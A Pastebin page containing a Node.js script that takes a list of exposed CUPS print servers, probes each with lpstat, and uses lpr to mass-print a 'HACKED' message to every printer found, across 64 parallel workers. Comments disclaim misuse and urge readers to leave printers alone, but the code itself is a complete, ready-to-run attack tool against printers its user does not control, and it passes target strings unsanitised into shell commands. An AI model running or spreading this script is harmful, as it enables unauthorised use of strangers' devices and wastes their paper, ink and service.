Advertisement
FlyFar

index_cups.js

Jul 28th, 2023
927
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 5.68 KB | Cybersecurity | 0 0
  1. //FOR RESEARCH PURPOSES ONLY.
  2. //YOU ARE RESPONSIBLE FOR YOUR OWN ACTIONS - DO NOT RUN THIS ON PRINTERS YOU DO NOT HAVE AUTHORIZATION TO PRINT ON
  3. //I AM SERIOUS. DO NOT BE A SKID AND LEAVE PEOPLE'S STUFF ALONE. WE ALREADY WASTED ENOUGH PAPER AND INK.
  4. //I am serious. Please. Don't try to have your own 5 minutes of fame. No one will think you are 'cool'. You will be a copycat.
  5. //Try to learn and build your own programs. Be ethical. Be better than me.
  6. //I am seriously asking you to leave people's printers alone, we made our point.
  7. //Thank you, HackerGiraffe
  8.  
  9. const chalk = require('chalk');
  10. const fs = require('fs');
  11. const cluster = require('cluster');
  12.  
  13. //Commented this out because what if I want to go faster than 8 CPUs
  14. // const numCPUs = require('os').cpus().length;
  15.  
  16. //Number of threads
  17. const numCPUs = 64;
  18.  
  19. //Exec
  20. const { exec } = require('child_process');
  21.  
  22. //Counters
  23. let count = 0;
  24. let hacked = 1;
  25.  
  26. //Open file for reading
  27. let array = fs.readFileSync('./potential_cups_bros.txt').toString().split("\n");
  28.  
  29. //Stolen function from StackOverflow
  30. function splitUp(arr, n) {
  31.     var rest = arr.length % n, // how much to divide
  32.         restUsed = rest, // to keep track of the division over the elements
  33.         partLength = Math.floor(arr.length / n),
  34.         result = [];
  35.  
  36.     for (let i = 0; i < arr.length; i += partLength) {
  37.         var end = partLength + i,
  38.             add = false;
  39.  
  40.         if (rest !== 0 && restUsed) { // should add one element for the division
  41.             end++;
  42.             restUsed--; // we've used one division element now
  43.             add = true;
  44.         }
  45.  
  46.         result.push(arr.slice(i, end)); // part of the array
  47.  
  48.         if (add) {
  49.             i++; // also increment i in the case we added an extra element for division
  50.         }
  51.     }
  52.  
  53.     return result;
  54. }
  55.  
  56. var arrays = splitUp(array, numCPUs);
  57.  
  58. //Stolen from nodejs docs lol
  59. if (cluster.isMaster) {
  60.     console.log(chalk.yellow(`Master ${process.pid} is running`));
  61.  
  62.     //Counter
  63.     var start = Date.now();
  64.  
  65.     // Fork workers.
  66.     for (let i = 0; i < numCPUs; i++) {
  67.         var worker = cluster.fork();
  68.         worker.send(arrays[i]);
  69.  
  70.         worker.on('message', function (msg) {
  71.             hacked += msg.hacked;
  72.             count += msg.count;
  73.             console.log(chalk.magenta(`Progress: ${count}/${array.length} [${((count / array.length) * 100).toFixed(5)}%] Hacked: ${hacked}/${array.length} [${((hacked / array.length) * 100).toFixed(5)}%]`));
  74.         });
  75.     }
  76.  
  77.     cluster.on('exit', (worker, code, signal) => {
  78.         console.log(`worker ${worker.process.pid} died`);
  79.     });
  80.  
  81.  
  82.  
  83.     cluster.on('exit', function (worker) {
  84.         // When the master has no more workers alive it
  85.         // prints the elapsed time and then kills itself
  86.         if (Object.keys(cluster.workers).length === 0) {
  87.             console.log('Every worker has finished its job.');
  88.             console.log('Elapsed Time: ' + (Date.now() - start) + 'ms');
  89.             process.exit(1);
  90.         }
  91.     });
  92.  
  93. } else {
  94.     console.log(chalk.blue(`Worker ${process.pid} started`));
  95.  
  96.     async function loopTargets(targets) {
  97.         let counter = 0;
  98.         for (const target in targets) {
  99.             await runAttack(targets[target]);
  100.             process.send({ count: 1, hacked: 0 });
  101.             exec(`sed -i '' "/${targets[target]}/d" ./potential_cups_bros.txt`)
  102.         }
  103.     }
  104.  
  105.     async function runAttack(target) {
  106.         return new Promise(resolve => {
  107.             //Check if it is a valid CUPS server
  108.             exec(`timeout lpstat -h "${target}/version=1.1" -a`, (err, stdout, stderr) => {
  109.                 if (err) {
  110.                     console.log(chalk.red(`${target} is not a valid CUPS server.`));
  111.                     resolve();
  112.                 } else {
  113.  
  114.                     //Count number of printers connected
  115.                     let printers = stdout.split('\n').map((item) => {
  116.                         return item.split(' ')[0];
  117.                     });
  118.                     printers.pop(); //Remove empty part
  119.  
  120.                     //If no printers, just skip
  121.                     if (printers.length === 0) {
  122.                         console.log(chalk.yellow(`${target} has no printers. Skipping...`));
  123.                         resolve();
  124.                     } else {
  125.                         console.log(chalk.green(`${target} is a valid CUPS server with ${printers.length} printer(s)!`))
  126.  
  127.                         //Who made this a thing. Why.
  128.                         for (const printer in printers) {
  129.                             //Change HACKED number
  130.                             exec(`cat ./message.txt | sed "s/PRINTERNOHERE/${hacked}/g" > ./tmp.txt`);
  131.  
  132.                             //THE MAGIC OF LPD PRINTING
  133.                             exec(`timeout 120 lpr -H "${target}" -P ${printers[printer]} -o job-priority=100 -o fit-to-page  -U "anon" -C "HACKED" ./tmp.txt`, (err) => {
  134.                                 if (err) {
  135.                                     console.log(chalk.red(`Failed to print to ${target}/${printers[printer]}.`))
  136.                                 } else {
  137.                                     console.log(chalk.green.bold(`Printed successfully to ${target}/${printers[printer]}!`))
  138.                                     process.send({ count: 0, hacked: 1 });
  139.                                 }
  140.                             })
  141.                         }
  142.  
  143.                         resolve();
  144.                     }
  145.  
  146.                 }
  147.             })
  148.         })
  149.     }
  150.  
  151.     process.on('message', function (targets) {
  152.         console.log(chalk.green.bold(`Worker ${process.pid} recieved ${targets.length} targets.`))
  153.         loopTargets(targets);
  154.     })
  155. }
Tags: Hack printer
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement